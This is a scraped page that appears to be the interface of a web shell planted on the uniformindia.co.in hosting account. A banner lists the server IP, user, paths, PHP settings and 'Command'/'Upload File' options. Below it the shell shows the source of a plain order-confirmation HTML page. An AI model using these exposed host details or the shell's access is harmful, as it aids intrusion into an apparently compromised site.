|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u641149403/domains/uniformindia.co.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Booking Successfully</title>
</head>
<style>
html {font-size: 62.5%;}
body{
font-family:montserrat;
background-color: #2f4564;
display:flex;
justify-content:center;
height:100vh;
align-items:center;
overflow: hidden;
}
.modal__img {max-width:60%;height:auto;display:block;}
.modal{
max-width:700px;
width:85%;
position: fixed;
top:50%;
background-color: rgba(0,0,0,0.3);
left:50%;
transform: translate(-50%,-50%);
border-radius: 5px;
background:#fff;
display: none;
}
.modal.show{display:block}
#close {cursor:pointer;color:white;position:absolute;top:0;font-size:25px;right:0;padding:1rem;margin-right: 10px;}
.modal__title{font-size: 2.5rem;}
.modal__title span{display: block;font-weight: 400;}
.modal__paragraph{font-size: 16px;font-weight: 400;}
.modal__button{
background-color:#2f4564;
border:none;
color: white;
padding: 1rem 2rem;
border-radius:5px;
box-shadow: 2px 2px 12px rgba(0,0,0,0.2);
transition: 0.3s background-color ease-in-out;
cursor: pointer;
}
.modal__button:hover{background-color:#000;}
main{text-align: center;}
.modal__container{
padding: 1rem 2rem;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
position: relative;
}
@media only screen and (min-width: 768px){
.modal__container {
flex-direction: row;
padding: 2rem;
text-align: left;
}
.modal__img{max-width:50%}
}
@media only screen and (max-width: 500px){
.modal__title {
font-size: 2rem;
}
.modal__img{max-width:80%}
}
.modal__content{
padding: 15px;
}
</style>
<body>
<main>
<div class="modal show" id="modal">
<div class="modal__container">
<img class="modal__img" src="https://uniformindia.co.in/logo.png">
<div class="modal__content">
<h1 class="modal__title">UNIFORM INDIA<span></span><h1>
<p class="modal__paragraph">Your order has been successfully placed. Thankyou.</p>
<a href="https://www.uniformindia.co.in/"><button class="modal__button">Back to Home</button></a>
</div>
</div>
</div>
</main>
</body>
</html>